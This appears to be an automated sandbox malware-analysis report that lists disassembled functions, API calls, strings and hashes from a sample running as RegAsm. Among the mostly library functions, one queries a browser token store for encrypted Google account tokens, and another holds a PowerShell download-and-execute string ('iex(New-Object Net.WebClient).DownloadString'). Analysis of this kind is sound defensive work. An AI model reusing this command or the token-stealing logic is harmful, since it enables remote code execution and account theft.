API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 38c68512784c48790b695031445c6c51da477aac67e92e1acce38cd5181ea056
Instruction ID: 7101927f01efac39f27e6afcf87f8950e4eb6f70ea8eaed2b52cee2645d98858
Opcode Fuzzy Hash: 38c68512784c48790b695031445c6c51da477aac67e92e1acce38cd5181ea056
Instruction Fuzzy Hash: DD01ADB6A00108ABDF01AF68EC4989B3B6CEF46668B004029FD0987641D675E950DAA3

Function 6C284D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C284DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C284DE0

Strings

misuse, xrefs: 6C284DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C284DCB
invalid, xrefs: 6C284DB8
%s at line %d of [%.10s], xrefs: 6C284DDA
API call with %s database connection pointer, xrefs: 6C284DBD

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: fb4f10f81b8a6ea9e28d10b7215aa0858f680ebea33a0e5a02f6a3ca1c767846
Instruction ID: ccea558c5ced9b936ac883bdbc1f33a05820d7f852ac0e28e0e50e63c43543b4
Opcode Fuzzy Hash: fb4f10f81b8a6ea9e28d10b7215aa0858f680ebea33a0e5a02f6a3ca1c767846
Instruction Fuzzy Hash: DAF0E919E1666D6BD700C125DC31F86379D4F0531BF8A09A2FD047BED3D205987882C1

Function 6C284DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C284E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C284E4D

Strings

misuse, xrefs: 6C284E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C284E38
invalid, xrefs: 6C284E25
%s at line %d of [%.10s], xrefs: 6C284E47
API call with %s database connection pointer, xrefs: 6C284E2A

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 1117682d1203ae9514179f5d9b64c92113bd53e89a3e33b1ab8fb915ded3c8f6
Instruction ID: cf25354fe2ce7ef50467e4c7aa7340869f6c5d42d01e4668b12aacd0e4ff2d62
Opcode Fuzzy Hash: 1117682d1203ae9514179f5d9b64c92113bd53e89a3e33b1ab8fb915ded3c8f6
Instruction Fuzzy Hash: B2F02715E4692D2BE7148126DC30F83378D4B1532BF8944B1FE0877ED2E305987842F1

Function 00409A0E Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 223stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 00409BB2

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,004168FA,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,AccountId), ref: 00409BCF
lstrlenA.KERNEL32(?), ref: 00409C7E
lstrlenA.KERNEL32(?), ref: 00409C99

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Strings

AccountId, xrefs: 00409BC9
GoogleAccounts, xrefs: 00409A37
SELECT service, encrypted_token FROM token_service, xrefs: 00409B1F
GoogleAccounts, xrefs: 00409A8E

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$lstrcat$AllocLocal
String ID: AccountId$GoogleAccounts$GoogleAccounts$SELECT service, encrypted_token FROM token_service
API String ID: 3306365304-1713091031
Opcode ID: d7dbc5860afe7d9ca84eb440f32270324d65f092a9eaabd45001fe2ef9c11e86
Instruction ID: 305e83aae4d242b20134bb0886246eef97b0dc7918462a5b697839569137603a
Opcode Fuzzy Hash: d7dbc5860afe7d9ca84eb440f32270324d65f092a9eaabd45001fe2ef9c11e86
Instruction Fuzzy Hash: 93815171E40109ABCF01FFA5DE469DD77B5AF04309F501026F900B71E2DBB8AE998B98

Function 6C1F0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C1F1444,?,00000001,?,00000000,00000000,?,?,6C1F1444,?,?,00000000,?,?), ref: 6C1F0CB3

Part of subcall function 6C25C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C25C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C1F1444,?,00000001,?,00000000,00000000,?,?,6C1F1444,?), ref: 6C1F0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C1F1444,?,00000001,?,00000000,00000000,?,?,6C1F1444,?), ref: 6C1F0DEC

Part of subcall function 6C210F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C1B2AF5,?,?,?,?,?,6C1B0A1B,00000000), ref: 6C210F1A
Part of subcall function 6C210F10: malloc.MOZGLUE(00000001), ref: 6C210F30
Part of subcall function 6C210F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C210F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C1F1444,?,00000001,?,00000000,00000000,?), ref: 6C1F0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C1F1444,?,00000001,?,00000000), ref: 6C1F0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C1F1444,?,00000001,?,00000000,00000000,?), ref: 6C1F0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C1F1444,?,00000001,?,00000000,00000000,?,?,6C1F1444,?,?,00000000), ref: 6C1F0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C1F1444,?,00000001,?,00000000,00000000,?), ref: 6C1F0E79

Part of subcall function 6C201560: TlsGetValue.KERNEL32(00000000,?,6C1D0844,?), ref: 6C20157A
Part of subcall function 6C201560: EnterCriticalSection.KERNEL32(?,?,?,6C1D0844,?), ref: 6C20158F
Part of subcall function 6C201560: PR_Unlock.NSS3(?,?,?,?,6C1D0844,?), ref: 6C2015B2

Part of subcall function 6C1CB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C1D1397,00000000,?,6C1CCF93,5B5F5EC0,00000000,?,6C1D1397,?), ref: 6C1CB1CB
Part of subcall function 6C1CB1A0: free.MOZGLUE(5B5F5EC0,?,6C1CCF93,5B5F5EC0,00000000,?,6C1D1397,?), ref: 6C1CB1D2

Part of subcall function 6C1C89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C1C88AE,-00000008), ref: 6C1C8A04
Part of subcall function 6C1C89E0: EnterCriticalSection.KERNEL32(?), ref: 6C1C8A15
Part of subcall function 6C1C89E0: memset.VCRUNTIME140(6C1C88AE,00000000,00000132), ref: 6C1C8A27
Part of subcall function 6C1C89E0: PR_Unlock.NSS3(?), ref: 6C1C8A35

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: a295e6ab5934fbc1e2fd1a7161a22231a31089f805e8d02719e0c8f76f490050
Instruction ID: fea756391d0ade58efeb24b70a1786abb2210257369c5b5ec94f685e4ccc87eb
Opcode Fuzzy Hash: a295e6ab5934fbc1e2fd1a7161a22231a31089f805e8d02719e0c8f76f490050
Instruction Fuzzy Hash: 7251A4F6E002045FEB009F64EC81ABB37E8AF55258F550064EC199BB12FB35ED19C6A2

Function 6C1A6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C1A6ED8
sqlite3_value_text.NSS3(?,?), ref: 6C1A6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C1A6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C1A6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C1A6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C1A7010
sqlite3_value_blob.NSS3(?,?), ref: 6C1A701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C1A7052

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 53eaf43956ea73d24c4b836270b090c402e09ebdebc3462e8b33d7b5b8613d28
Instruction ID: e4743ef145ef7aa46bb6ad512005203e45c1e6886971ee25b2cd2ba307362287
Opcode Fuzzy Hash: 53eaf43956ea73d24c4b836270b090c402e09ebdebc3462e8b33d7b5b8613d28
Instruction Fuzzy Hash: 2A61E4B9E052098BDB00CFE9C9507EFB7B2AF49308F1841A5D815AB755E7359D07CBA0

Function 0041B95B Relevance: 12.2, APIs: 8, Instructions: 175fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,00000000,?,009F2548), ref: 0041B98F
GetFileSize.KERNEL32(?,00000000), ref: 0041BA08
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 0041BA24
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 0041BA38
SetFilePointer.KERNEL32(?,00000024,00000000,00000000), ref: 0041BA41
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041BA51
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 0041BA6F
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0041BA7F

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-0
Opcode ID: f05a4345b5a5f46def0a5427493c9488031ea338a5f448d32c53cacbd4df00d7
Instruction ID: b200406caefeec23edd92f76e74f4941e7f488b972883a9dbceb720f28872371
Opcode Fuzzy Hash: f05a4345b5a5f46def0a5427493c9488031ea338a5f448d32c53cacbd4df00d7
Instruction Fuzzy Hash: 755116B1D0021CAFDB28DFA9DC85AEEBBB8EF44344F10442AE515E6260D7389D85CF94

Function 6C218F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C217313), ref: 6C218FBB

Part of subcall function 6C2107B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C1B8298,?,?,?,6C1AFCE5,?), ref: 6C2107BF
Part of subcall function 6C2107B0: PL_HashTableLookup.NSS3(?,?), ref: 6C2107E6
Part of subcall function 6C2107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C21081B
Part of subcall function 6C2107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C210825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C217313), ref: 6C219012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C217313), ref: 6C21903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C217313), ref: 6C21909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C217313), ref: 6C2190DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C217313), ref: 6C2190F1

Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C2110F3
Part of subcall function 6C2110C0: EnterCriticalSection.KERNEL32(?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21110C
Part of subcall function 6C2110C0: PL_ArenaAllocate.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211141
Part of subcall function 6C2110C0: PR_Unlock.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211182
Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C217313), ref: 6C21906B

Part of subcall function 6C25C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C25C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C217313), ref: 6C219128

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 92701ef6c89674c4b00282b80c4bae0724cac8d7e639c1e23601189c3a4af325
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 3951A571A0820A8FEB10EF69DC44B16B3F5AF44369F154029EE15D7F51EB32E864CB91

Function 6C1D4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C1D4E90
EnterCriticalSection.KERNEL32 ref: 6C1D4EA9
TlsGetValue.KERNEL32 ref: 6C1D4EC6
EnterCriticalSection.KERNEL32 ref: 6C1D4EDF
PL_HashTableLookup.NSS3 ref: 6C1D4EF8
PR_Unlock.NSS3 ref: 6C1D4F05
PR_Now.NSS3 ref: 6C1D4F13
PR_Unlock.NSS3 ref: 6C1D4F3A

Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07AD
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07CD
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07D6
Part of subcall function 6C1A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C13204A), ref: 6C1A07E4
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,6C13204A), ref: 6C1A0864
Part of subcall function 6C1A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C1A0880
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C13204A), ref: 6C1A08CB
Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(?,?,6C13204A), ref: 6C1A08D7
Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(?,?,6C13204A), ref: 6C1A08FB

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: b5e0a566d97b5500f7a1a9e68b632a10f12168b0e822bc673d710aa58bda7996
Instruction ID: 389863e6730393b1bea8a8349adb4fdccc4e5f2183e7195fdf0d31de63dd623a
Opcode Fuzzy Hash: b5e0a566d97b5500f7a1a9e68b632a10f12168b0e822bc673d710aa58bda7996
Instruction Fuzzy Hash: C6413DB5A006099FCB00EF7CD0849AAFBF4FF49314B068569DC999B711EB30E895CB91

Function 6C134F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C134FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C1351BB

Strings

misuse, xrefs: 6C1351AF
unable to delete/modify user-function due to active statements, xrefs: 6C1351DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C1351A5
%s at line %d of [%.10s], xrefs: 6C1351B4

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: e2739a92228bc80fcc0251c7dbc823b90363854a3eeba3a125aa06362193b9e9
Instruction ID: 2efaa76b1954100424176dc0c117716db2a8e7ef1d2ee1dd76f00368c74c0c54
Opcode Fuzzy Hash: e2739a92228bc80fcc0251c7dbc823b90363854a3eeba3a125aa06362193b9e9
Instruction Fuzzy Hash: CC71CEB16042199FEB00CE29CC80B9A77F9BF5970CF095524FD1D9BA95D33AE850CBA1

Function 00412D39 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412E89

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412E24
.ps1, xrefs: 00412DBC
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412DE1
C:\ProgramData\, xrefs: 00412D6C
')", xrefs: 00412DDC

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$.ps1$C:\ProgramData\$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 2215929589-1989157005
Opcode ID: e98d92b380e29fd4250d4bb359eda1184fcab39845bb9a031b0d7e2bd4546fc9
Instruction ID: 9ab1ac1b0cda4108084292bdf0681d303800d2dafb1237c2710dde24b82ab3d6
Opcode Fuzzy Hash: e98d92b380e29fd4250d4bb359eda1184fcab39845bb9a031b0d7e2bd4546fc9
